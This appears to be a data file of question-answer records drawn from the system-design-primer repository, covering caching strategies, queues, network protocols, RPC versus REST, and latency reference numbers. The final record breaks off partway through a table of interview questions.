{"id": "gh_a756f8a0c2c2", "question": "How to: CDN caching", "question_body": "About donnemartin/system-design-primer", "answer": "[CDNs](#content-delivery-network) are considered a type of cache.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222338"}
{"id": "gh_5ece0c9320d2", "question": "How to: Web server caching", "question_body": "About donnemartin/system-design-primer", "answer": "[Reverse proxies](#reverse-proxy-web-server) and caches such as [Varnish](https://www.varnish-cache.org/) can serve static and dynamic content directly.  Web servers can also cache requests, returning responses without having to contact application servers.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222343"}
{"id": "gh_498eca0c9ccb", "question": "How to: Database caching", "question_body": "About donnemartin/system-design-primer", "answer": "Your database usually includes some level of caching in a default configuration, optimized for a generic use case.  Tweaking these settings for specific usage patterns can further boost performance.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222348"}
{"id": "gh_32f6b7035f02", "question": "How to: Application caching", "question_body": "About donnemartin/system-design-primer", "answer": "In-memory caches such as Memcached and Redis are key-value stores between your application and your data storage.  Since the data is held in RAM, it is much faster than typical databases where data is stored on disk.  RAM is more limited than disk, so [cache invalidation](https://en.wikipedia.org/wiki/Cache_algorithms) algorithms such as [least recently used (LRU)](https://en.wikipedia.org/wiki/Cache_replacement_policies#Least_recently_used_(LRU)) can help invalidate 'cold' entries and keep 'hot' data in RAM.\n\nRedis has the following additional features:\n\n* Persistence option\n* Built-in data structures such as sorted sets and lists\n\nThere are multiple levels you can cache that fall into two general categories: **database queries** and **objects**:\n\n* Row level\n* Query-level\n* Fully-formed serializable objects\n* Fully-rendered HTML\n\nGenerally, you should try to avoid file-based caching, as it makes cloning and auto-scaling more difficult.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222355"}
{"id": "gh_2b3dbae9d181", "question": "How to: Caching at the database query level", "question_body": "About donnemartin/system-design-primer", "answer": "Whenever you query the database, hash the query as a key and store the result to the cache.  This approach suffers from expiration issues:\n\n* Hard to delete a cached result with complex queries\n* If one piece of data changes such as a table cell, you need to delete all cached queries that might include the changed cell", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222361"}
{"id": "gh_b3dfab7e9d23", "question": "How to: Caching at the object level", "question_body": "About donnemartin/system-design-primer", "answer": "See your data as an object, similar to what you do with your application code.  Have your application assemble the dataset from the database into a class instance or a data structure(s):\n\n* Remove the object from cache if its underlying data has changed\n* Allows for asynchronous processing: workers assemble objects by consuming the latest cached object\n\nSuggestions of what to cache:\n\n* User sessions\n* Fully rendered web pages\n* Activity streams\n* User graph data", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222375"}
{"id": "gh_3fb71635b88a", "question": "How to: When to update the cache", "question_body": "About donnemartin/system-design-primer", "answer": "Since you can only store a limited amount of data in cache, you'll need to determine which cache update strategy works best for your use case.\n\n#### Cache-aside\nSource: From cache to in-memory data grid\nThe application is responsible for reading and writing from storage.  The cache does not interact with storage directly.  The application does the following:\n\n* Look for entry in cache, resulting in a cache miss\n* Load entry from the database\n* Add entry to cache\n* Return entry\n\n```python\ndef get_user(self, user_id):\n    user = cache.get(\"user.{0}\", user_id)\n    if user is None:\n        user = db.query(\"SELECT * FROM users WHERE user_id = {0}\", user_id)\n        if user is not None:\n            key = \"user.{0}\".format(user_id)\n            cache.set(key, json.dumps(user))\n    return user\n```\n\n[Memcached](https://memcached.org/) is generally used in this manner.\n\nSubsequent reads of data added to cache are fast.  Cache-aside is also referred to as lazy loading.  Only requested data is cached, which avoids filling up the cache with data that isn't requested.\n\n##### Disadvantage(s): cache-aside\n\n* Each cache miss results in three trips, which can cause a noticeable delay.\n* Data can become stale if it is updated in the database.  This issue is mitigated by setting a time-to-live (TTL) which forces an update of the cache entry, or by using write-through.\n* When a node fails, it is replaced by a new, empty node, increasing latency.\n\n#### Write-through\nSource: Scalability, availability, stability, patterns\nThe application uses the cache as the main data store, reading and writing data to it, while the cache is responsible for reading and writing to the database:\n\n* Application adds/updates entry in cache\n* Cache synchronously writes entry to data store\n* Return\n\nApplication code:\n\n```python\nset_user(12345, {\"foo\":\"bar\"})\n```\n\nCache code:\n\n```python\ndef set_user(user_id, values):\n    user = db.query(\"UPDATE Users WHERE id = {0}\", user_id, values)\n    cache.set(user_id, user)\n```\n\nWrite-through is a slow overall operation due to the write operation, but subsequent reads of just written data are fast.  Users are generally more tolerant of latency when updating data than reading data.  Data in the cache is not stale.\n\n##### Disadvantage(s): write through\n\n* When a new node is created due to failure or scaling, the new node will not cache entries until the entry is updated in the database.  Cache-aside in conjunction with write through can mitigate this issue.\n* Most data written might never be read, which can be minimized with a TTL.\n\n#### Write-behind (write-back)\nSource: Scalability, availability, stability, patterns\nIn write-behind, the application does the following:\n\n* Add/update entry in cache\n* Asynchronously write entry to the data store, improving write performance\n\n##### Disadvantage(s): write-behind\n\n* There could be data loss if the cache goes down prior to its contents hitting the data store.\n* It is more complex to implement write-behind than it is to implement cache-aside or write-through.\n\n#### Refresh-ahead\nSource: From cache to in-memory data grid\nYou can configure the cache to automatically refresh any recently accessed cache entry prior to its expiration.\n\nRefresh-ahead can result in reduced latency vs read-through if the cache can accurately predict which items are likely to be needed in the future.\n\n##### Disadvantage(s): refresh-ahead\n\n* Not accurately predicting which items are likely to be needed in the future can result in reduced performance than without refresh-ahead.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222389"}
{"id": "gh_ad5f9d991db7", "question": "How to: Disadvantage(s): cache", "question_body": "About donnemartin/system-design-primer", "answer": "* Need to maintain consistency between caches and the source of truth such as the database through [cache invalidation](https://en.wikipedia.org/wiki/Cache_algorithms).\n* Cache invalidation is a difficult problem, there is additional complexity associated with when to update the cache.\n* Need to make application changes such as adding Redis or memcached.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222396"}
{"id": "gh_23ed5912a333", "question": "How to: Asynchronism", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Intro to architecting systems for scale\nAsynchronous workflows help reduce request times for expensive operations that would otherwise be performed in-line.  They can also help by doing time-consuming work in advance, such as periodic aggregation of data.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222407"}
{"id": "gh_a546110dfcd7", "question": "How to: Message queues", "question_body": "About donnemartin/system-design-primer", "answer": "Message queues receive, hold, and deliver messages.  If an operation is too slow to perform inline, you can use a message queue with the following workflow:\n\n* An application publishes a job to the queue, then notifies the user of job status\n* A worker picks up the job from the queue, processes it, then signals the job is complete\n\nThe user is not blocked and the job is processed in the background.  During this time, the client might optionally do a small amount of processing to make it seem like the task has completed.  For example, if posting a tweet, the tweet could be instantly posted to your timeline, but it could take some time before your tweet is actually delivered to all of your followers.\n\n**[Redis](https://redis.io/)** is useful as a simple message broker but messages can be lost.\n\n**[RabbitMQ](https://www.rabbitmq.com/)** is popular but requires you to adapt to the 'AMQP' protocol and manage your own nodes.\n\n**[Amazon SQS](https://aws.amazon.com/sqs/)** is hosted but can have high latency and has the possibility of messages being delivered twice.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222415"}
{"id": "gh_b364afcd86c0", "question": "How to: Task queues", "question_body": "About donnemartin/system-design-primer", "answer": "Tasks queues receive tasks and their related data, runs them, then delivers their results.  They can support scheduling and can be used to run computationally-intensive jobs in the background.\n\n**[Celery](https://docs.celeryproject.org/en/stable/)** has support for scheduling and primarily has python support.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222420"}
{"id": "gh_5ad12eb03201", "question": "How to: Back pressure", "question_body": "About donnemartin/system-design-primer", "answer": "If queues start to grow significantly, the queue size can become larger than memory, resulting in cache misses, disk reads, and even slower performance.  [Back pressure](http://mechanical-sympathy.blogspot.com/2012/05/apply-back-pressure-when-overloaded.html) can help by limiting the queue size, thereby maintaining a high throughput rate and good response times for jobs already in the queue.  Once the queue fills up, clients get a server busy or HTTP 503 status code to try again later.  Clients can retry the request at a later time, perhaps with [exponential backoff](https://en.wikipedia.org/wiki/Exponential_backoff).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222427"}
{"id": "gh_02b35236bc43", "question": "How to: Disadvantage(s): asynchronism", "question_body": "About donnemartin/system-design-primer", "answer": "* Use cases such as inexpensive calculations and realtime workflows might be better suited for synchronous operations, as introducing queues can add delays and complexity.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222432"}
{"id": "gh_e0eb7de36cfe", "question": "How to: Communication", "question_body": "About donnemartin/system-design-primer", "answer": "Source: OSI 7 layer model", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222442"}
{"id": "gh_f5360e093c60", "question": "How to: Hypertext transfer protocol (HTTP)", "question_body": "About donnemartin/system-design-primer", "answer": "HTTP is a method for encoding and transporting data between a client and a server.  It is a request/response protocol: clients issue requests and servers issue responses with relevant content and completion status info about the request.  HTTP is self-contained, allowing requests and responses to flow through many intermediate routers and servers that perform load balancing, caching, encryption, and compression.\n\nA basic HTTP request consists of a verb (method) and a resource (endpoint).  Below are common HTTP verbs:\n\n| Verb | Description | Idempotent* | Safe | Cacheable |\n|---|---|---|---|---|\n| GET | Reads a resource | Yes | Yes | Yes |\n| POST | Creates a resource or trigger a process that handles data | No | No | Yes if response contains freshness info |\n| PUT | Creates or replace a resource | Yes | No | No |\n| PATCH | Partially updates a resource | No | No | Yes if response contains freshness info |\n| DELETE | Deletes a resource | Yes | No | No |\n\n*Can be called many times without different outcomes.\n\nHTTP is an application layer protocol relying on lower-level protocols such as **TCP** and **UDP**.\n\n#### Source(s) and further reading: HTTP\n\n* [What is HTTP?](https://www.nginx.com/resources/glossary/http/)\n* [Difference between HTTP and TCP](https://www.quora.com/What-is-the-difference-between-HTTP-protocol-and-TCP-protocol)\n* [Difference between PUT and PATCH](https://laracasts.com/discuss/channels/general-discussion/whats-the-differences-between-put-and-patch?page=1)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222450"}
{"id": "gh_f4a03d8c9911", "question": "How to: Transmission control protocol (TCP)", "question_body": "About donnemartin/system-design-primer", "answer": "Source: How to make a multiplayer game\nTCP is a connection-oriented protocol over an [IP network](https://en.wikipedia.org/wiki/Internet_Protocol).  Connection is established and terminated using a [handshake](https://en.wikipedia.org/wiki/Handshaking).  All packets sent are guaranteed to reach the destination in the original order and without corruption through:\n\n* Sequence numbers and [checksum fields](https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Checksum_computation) for each packet\n* [Acknowledgement](https://en.wikipedia.org/wiki/Acknowledgement_(data_networks)) packets and automatic retransmission\n\nIf the sender does not receive a correct response, it will resend the packets.  If there are multiple timeouts, the connection is dropped.  TCP also implements [flow control](https://en.wikipedia.org/wiki/Flow_control_(data)) and [congestion control](https://en.wikipedia.org/wiki/Network_congestion#Congestion_control).  These guarantees cause delays and generally result in less efficient transmission than UDP.\n\nTo ensure high throughput, web servers can keep a large number of TCP connections open, resulting in high memory usage.  It can be expensive to have a large number of open connections between web server threads and say, a [memcached](https://memcached.org/) server.  [Connection pooling](https://en.wikipedia.org/wiki/Connection_pool) can help in addition to switching to UDP where applicable.\n\nTCP is useful for applications that require high reliability but are less time critical.  Some examples include web servers, database info, SMTP, FTP, and SSH.\n\nUse TCP over UDP when:\n\n* You need all of the data to arrive intact\n* You want to automatically make a best estimate use of the network throughput", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222458"}
{"id": "gh_dcedbf2294a4", "question": "How to: User datagram protocol (UDP)", "question_body": "About donnemartin/system-design-primer", "answer": "Source: How to make a multiplayer game\nUDP is connectionless.  Datagrams (analogous to packets) are guaranteed only at the datagram level.  Datagrams might reach their destination out of order or not at all.  UDP does not support congestion control.  Without the guarantees that TCP support, UDP is generally more efficient.\n\nUDP can broadcast, sending datagrams to all devices on the subnet.  This is useful with [DHCP](https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol) because the client has not yet received an IP address, thus preventing a way for TCP to stream without the IP address.\n\nUDP is less reliable but works well in real time use cases such as VoIP, video chat, streaming, and realtime multiplayer games.\n\nUse UDP over TCP when:\n\n* You need the lowest latency\n* Late data is worse than loss of data\n* You want to implement your own error correction\n\n#### Source(s) and further reading: TCP and UDP\n\n* [Networking for game programming](http://gafferongames.com/networking-for-game-programmers/udp-vs-tcp/)\n* [Key differences between TCP and UDP protocols](http://www.cyberciti.biz/faq/key-differences-between-tcp-and-udp-protocols/)\n* [Difference between TCP and UDP](http://stackoverflow.com/questions/5970383/difference-between-tcp-and-udp)\n* [Transmission control protocol](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)\n* [User datagram protocol](https://en.wikipedia.org/wiki/User_Datagram_Protocol)\n* [Scaling memcache at Facebook](http://www.cs.bu.edu/~jappavoo/jappavoo.github.com/451/papers/memcache-fb.pdf)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222466"}
{"id": "gh_3fae1e4251b4", "question": "How to: Remote procedure call (RPC)", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Crack the system design interview\nIn an RPC, a client causes a procedure to execute on a different address space, usually a remote server.  The procedure is coded as if it were a local procedure call, abstracting away the details of how to communicate with the server from the client program.  Remote calls are usually slower and less reliable than local calls so it is helpful to distinguish RPC calls from local calls.  Popular RPC frameworks include [Protobuf](https://developers.google.com/protocol-buffers/), [Thrift](https://thrift.apache.org/), and [Avro](https://avro.apache.org/docs/current/).\n\nRPC is a request-response protocol:\n\n* **Client program** - Calls the client stub procedure.  The parameters are pushed onto the stack like a local procedure call.\n* **Client stub procedure** - Marshals (packs) procedure id and arguments into a request message.\n* **Client communication module** - OS sends the message from the client to the server.\n* **Server communication module** - OS passes the incoming packets to the server stub procedure.\n* **Server stub procedure** -  Unmarshalls the results, calls the server procedure matching the procedure id and passes the given arguments.\n* The server response repeats the steps above in reverse order.\n\nSample RPC calls:\n\n```\nGET /someoperation?data=anId\n\nPOST /anotheroperation\n{\n  \"data\":\"anId\";\n  \"anotherdata\": \"another value\"\n}\n```\n\nRPC is focused on exposing behaviors.  RPCs are often used for performance reasons with internal communications, as you can hand-craft native calls to better fit your use cases.\n\nChoose a native library (aka SDK) when:\n\n* You know your target platform.\n* You want to control how your \"logic\" is accessed.\n* You want to control how error control happens off your library.\n* Performance and end user experience is your primary concern.\n\nHTTP APIs following **REST** tend to be used more often for public APIs.\n\n#### Disadvantage(s): RPC\n\n* RPC clients become tightly coupled to the service implementation.\n* A new API must be defined for every new operation or use case.\n* It can be difficult to debug RPC.\n* You might not be able to leverage existing technologies out of the box.  For example, it might require additional effort to ensure [RPC calls are properly cached](https://web.archive.org/web/20170608193645/http://etherealbits.com/2012/12/debunking-the-myths-of-rpc-rest/) on caching servers such as [Squid](http://www.squid-cache.org/).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222474"}
{"id": "gh_bab8c9b253a3", "question": "How to: Representational state transfer (REST)", "question_body": "About donnemartin/system-design-primer", "answer": "REST is an architectural style enforcing a client/server model where the client acts on a set of resources managed by the server.  The server provides a representation of resources and actions that can either manipulate or get a new representation of resources.  All communication must be stateless and cacheable.\n\nThere are four qualities of a RESTful interface:\n\n* **Identify resources (URI in HTTP)** - use the same URI regardless of any operation.\n* **Change with representations (Verbs in HTTP)** - use verbs, headers, and body.\n* **Self-descriptive error message (status response in HTTP)** - Use status codes, don't reinvent the wheel.\n* **[HATEOAS](http://restcookbook.com/Basics/hateoas/) (HTML interface for HTTP)** - your web service should be fully accessible in a browser.\n\nSample REST calls:\n\n```\nGET /someresources/anId\n\nPUT /someresources/anId\n{\"anotherdata\": \"another value\"}\n```\n\nREST is focused on exposing data.  It minimizes the coupling between client/server and is often used for public HTTP APIs.  REST uses a more generic and uniform method of exposing resources through URIs, [representation through headers](https://github.com/for-GET/know-your-http-well/blob/master/headers.md), and actions through verbs such as GET, POST, PUT, DELETE, and PATCH.  Being stateless, REST is great for horizontal scaling and partitioning.\n\n#### Disadvantage(s): REST\n\n* With REST being focused on exposing data, it might not be a good fit if resources are not naturally organized or accessed in a simple hierarchy.  For example, returning all updated records from the past hour matching a particular set of events is not easily expressed as a path.  With REST, it is likely to be implemented with a combination of URI path, query parameters, and possibly the request body.\n* REST typically relies on a few verbs (GET, POST, PUT, DELETE, and PATCH) which sometimes doesn't fit your use case.  For example, moving expired documents to the archive folder might not cleanly fit within these verbs.\n* Fetching complicated resources with nested hierarchies requires multiple round trips between the client and server to render single views, e.g. fetching content of a blog entry and the comments on that entry. For mobile applications operating in variable network conditions, these multiple roundtrips are highly undesirable.\n* Over time, more fields might be added to an API response and older clients will receive all new data fields, even those that they do not need, as a result, it bloats the payload size and leads to larger latencies.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222481"}
{"id": "gh_43d4ea734d8c", "question": "How to: RPC and REST calls comparison", "question_body": "About donnemartin/system-design-primer", "answer": "| Operation | RPC | REST |\n|---|---|---|\n| Signup    | **POST** /signup | **POST** /persons |\n| Resign    | **POST** /resign\n{\n\"personid\": \"1234\"\n} | **DELETE** /persons/1234 |\n| Read a person | **GET** /readPerson?personid=1234 | **GET** /persons/1234 |\n| Read a person’s items list | **GET** /readUsersItemsList?personid=1234 | **GET** /persons/1234/items |\n| Add an item to a person’s items | **POST** /addItemToUsersItemsList\n{\n\"personid\": \"1234\";\n\"itemid\": \"456\"\n} | **POST** /persons/1234/items\n{\n\"itemid\": \"456\"\n} |\n| Update an item    | **POST** /modifyItem\n{\n\"itemid\": \"456\";\n\"key\": \"value\"\n} | **PUT** /items/456\n{\n\"key\": \"value\"\n} |\n| Delete an item | **POST** /removeItem\n{\n\"itemid\": \"456\"\n} | **DELETE** /items/456 |\nSource: Do you really know why you prefer REST over RPC\n#### Source(s) and further reading: REST and RPC\n\n* [Do you really know why you prefer REST over RPC](https://apihandyman.io/do-you-really-know-why-you-prefer-rest-over-rpc/)\n* [When are RPC-ish approaches more appropriate than REST?](http://programmers.stackexchange.com/a/181186)\n* [REST vs JSON-RPC](http://stackoverflow.com/questions/15056878/rest-vs-json-rpc)\n* [Debunking the myths of RPC and REST](https://web.archive.org/web/20170608193645/http://etherealbits.com/2012/12/debunking-the-myths-of-rpc-rest/)\n* [What are the drawbacks of using REST](https://www.quora.com/What-are-the-drawbacks-of-using-RESTful-APIs)\n* [Crack the system design interview](http://www.puncsky.com/blog/2016-02-13-crack-the-system-design-interview)\n* [Thrift](https://code.facebook.com/posts/1468950976659943/)\n* [Why REST for internal use and not RPC](http://arstechnica.com/civis/viewtopic.php?t=1190508)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222492"}
{"id": "gh_761d960eb873", "question": "How to: Powers of two table", "question_body": "About donnemartin/system-design-primer", "answer": "```\nPower           Exact Value         Approx Value        Bytes\n---------------------------------------------------------------\n7                             128\n8                             256\n10                           1024   1 thousand           1 KB\n16                         65,536                       64 KB\n20                      1,048,576   1 million            1 MB\n30                  1,073,741,824   1 billion            1 GB\n32                  4,294,967,296                        4 GB\n40              1,099,511,627,776   1 trillion           1 TB\n```\n\n#### Source(s) and further reading\n\n* [Powers of two](https://en.wikipedia.org/wiki/Power_of_two)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222503"}
{"id": "gh_f76d21ca2efd", "question": "How to: Latency numbers every programmer should know", "question_body": "About donnemartin/system-design-primer", "answer": "```\nLatency Comparison Numbers\n--------------------------\nL1 cache reference                           0.5 ns\nBranch mispredict                            5   ns\nL2 cache reference                           7   ns                      14x L1 cache\nMutex lock/unlock                           25   ns\nMain memory reference                      100   ns                      20x L2 cache, 200x L1 cache\nCompress 1K bytes with Zippy            10,000   ns       10 us\nSend 1 KB bytes over 1 Gbps network     10,000   ns       10 us\nRead 4 KB randomly from SSD*           150,000   ns      150 us          ~1GB/sec SSD\nRead 1 MB sequentially from memory     250,000   ns      250 us\nRound trip within same datacenter      500,000   ns      500 us\nRead 1 MB sequentially from SSD*     1,000,000   ns    1,000 us    1 ms  ~1GB/sec SSD, 4X memory\nHDD seek                            10,000,000   ns   10,000 us   10 ms  20x datacenter roundtrip\nRead 1 MB sequentially from 1 Gbps  10,000,000   ns   10,000 us   10 ms  40x memory, 10X SSD\nRead 1 MB sequentially from HDD     30,000,000   ns   30,000 us   30 ms 120x memory, 30X SSD\nSend packet CA->Netherlands->CA    150,000,000   ns  150,000 us  150 ms\n\nNotes\n-----\n1 ns = 10^-9 seconds\n1 us = 10^-6 seconds = 1,000 ns\n1 ms = 10^-3 seconds = 1,000 us = 1,000,000 ns\n```\n\nHandy metrics based on numbers above:\n\n* Read sequentially from HDD at 30 MB/s\n* Read sequentially from 1 Gbps Ethernet at 100 MB/s\n* Read sequentially from SSD at 1 GB/s\n* Read sequentially from main memory at 4 GB/s\n* 6-7 world-wide round trips per second\n* 2,000 round trips per second within a data center\n\n#### Latency numbers visualized\n\n![](https://camo.githubusercontent.com/77f72259e1eb58596b564d1ad823af1853bc60a3/687474703a2f2f692e696d6775722e636f6d2f6b307431652e706e67)\n\n#### Source(s) and further reading\n\n* [Latency numbers every programmer should know - 1](https://gist.github.com/jboner/2841832)\n* [Latency numbers every programmer should know - 2](https://gist.github.com/hellerbarde/2843375)\n* [Designs, lessons, and advice from building large distributed systems](http://www.cs.cornell.edu/projects/ladis2009/talks/dean-keynote-ladis2009.pdf)\n* [Software Engineering Advice from Building Large-Scale Distributed Systems](https://static.googleusercontent.com/media/research.google.com/en//people/jeff/stanford-295-talk.pdf)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222510"}
{"id": "gh_254ba8498ae2", "question": "How to: Additional system design interview questions", "question_body": "About donnemartin/system-design-primer", "answer": "> Common system design interview questions, with links to resources on how to solve each.\n\n| Question | Reference(s) |\n|---|---|\n| Design a file sync service like Dropbox | [youtube.com](https://www.youtube.com/watch?v=PE4gwstWhmc) |\n| Design a search engine like Google | [queue.acm.org](http://queue.acm.org/detail.cfm?id=988407)\n[stackexchange.com](http://programmers.stackexchange.com/questions/38324/interview-question-how-would-you-implement-google-search)\n[ardendertat.com](http://www.ardendertat.com/2012/01/11/implementing-search-engines/)\n[stanford.edu](http://infolab.stanford.edu/~backrub/google.html) |\n| Design a scalable web crawler like Google | [quora.com](https://www.quora.com/How-can-I-build-a-web-crawler-from-scratch) |\n| Design Google docs | [code.google.com](https://code.google.com/p/google-mobwrite/)\n[neil.fraser.name](https://neil.fraser.name/writing/sync/) |\n| Design a key-value store like Redis | [slideshare.net](http://www.slideshare.net/dvirsky/introduction-to-redis) |\n| Design a cache system like Memcached | [slideshare.net](http://www.slideshare.net/oemebamo/introduction-to-memcached) |\n| Design a recommendation system like Amazon's | [hulu.com](https://web.archive.org/web/20170406065247/http://tech.hulu.com/blog/2011/09/19/recommendation-system.html)\n[ijcai13.org](http://ijcai13.org/files/tutorial_slides/td3.pdf) |\n| Design a tinyurl system like Bitly | [n00tc0d3r.blogspot.com](http://n00tc0d3r.blogspot.com/) |\n| Design a chat app like WhatsApp | [highscalability.com](http://highscalability.com/blog/2014/2/26/the-whatsapp-architecture-facebook-bought-for-19-billion.html)\n| Design a picture sharing system like Instagram | [highscalability.com](http://highscalability.com/flickr-architecture)\n[highscalability.com](http://highscalability.com/blog/2011/12/6/instagram-architecture-14-million-users-terabytes-of-photos.html) |\n| Design the Facebook news feed function | [quora.com](http://www.quora.com/What-are-best-practices-for-building-something-like-a-News-Feed)\n[quora.com](http://www.quora.com/Activity-Streams/What-are-the-scaling-issues-to-keep-in-mind-while-developing-a-social-network-feed)\n[slideshare.net](http://www.slideshare.net/danmckinley/etsy-activity-feeds-architecture) |\n| Design the Facebook timeline function | [facebook.com](https://www.facebook.com/note.php?note_id=10150468255628920)\n[highscalability.com](http://highscalability.com/blog/2012/1/23/facebook-timeline-brought-to-you-by-the-power-of-denormaliza.html) |\n| Design the Facebook chat function | [erlang-factory.com](http://www.erlang-factory.com/upload/presentations/31/EugeneLetuchy-ErlangatFacebook.pdf)\n[facebook.com](https://www.facebook.com/note.php?note_id=14218138919&id=9445547199&index=0) |\n| Design a graph search function like Facebook's | [facebook.com](https://www.facebook.com/notes/facebook-engineering/under-the-hood-building-out-the-infrastructure-for-graph-search/10151347573598920)\n[facebook.com](https://www.facebook.com/notes/facebook-engineering/under-the-hood-indexing-and-ranking-in-graph-search/10151361720763920)\n[facebook.com](https://www.facebook.com/notes/facebook-engineering/under-the-hood-the-natural-language-interface-of-graph-search/10151432733048920) |\n| Design a content delivery network like CloudFlare | [figshare.com](https://figshare.com/articles/Globally_distributed_content_delivery/6605972) |\n| Design a trending topic system like Twitter's | [michael-noll.com](http://www.michael-noll.com/blog/2013/01/18/implementing-real-time-trending-topics-in-storm/)\n[snikolov .wordpress.com](http://snikolov.wordpress.com/2012/11/14/early-detection-of-twitter-trends/) |\n| Design a random ID generation system | [blog.twitter.com](https://blog.twitter.com/2010/announcing-snowflake)\n[github.com](https://github.com/twitter/snowflake/) |\n| Return the top k requests during a time interval | [cs.ucsb.edu](https://www.cs.ucsb.edu/sites/default/files/documents/2005-23.pdf)\n[wpi.edu](http://davis.wpi.edu/xmdv/docs/EDBT11-diyang.pdf) |\n| Design a system that serves data from multiple data centers | [highscalability.com](http://highscalability.com/blog/2009/8/24/how-google-serves-data-from-multiple-datacenters.html) |\n| Design an online multiplayer card game | [indieflashblog.com](https://web.archive.org/web/20180929181117/http://www.indieflashblog.com/how-to-create-an-asynchronous-multiplayer-game.html)\n[buildnewgames.com](http://buildnewgames.com/real-time-multiplayer/) |\n| Design a garbage collection system | [stuffwithstuff.com](http://journal.stuffwithstuff.com/2013/12/08/babys-first-garbage-collector/)\n[washington.edu](http://courses.cs.washington.edu/courses/csep521/07wi/prj/rick.pdf) |\n| Design an API rate limiter | [https://stripe.com/blog/](https://stripe.com/blog/rate-limiters) |\n| Design a Stock Exchange (like NASDAQ or Binance) | 